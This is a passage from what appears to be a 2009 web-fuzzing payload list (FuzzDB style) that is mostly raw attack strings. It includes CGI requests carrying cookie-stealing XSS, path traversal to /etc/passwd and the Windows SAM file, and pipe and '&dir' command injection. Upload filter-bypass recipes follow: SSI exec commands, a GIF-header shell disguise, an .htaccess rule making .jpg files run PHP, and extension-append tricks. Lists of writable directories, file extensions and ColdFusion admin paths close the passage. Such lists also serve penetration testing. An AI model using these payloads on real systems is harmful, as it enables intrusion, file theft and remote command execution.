testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> 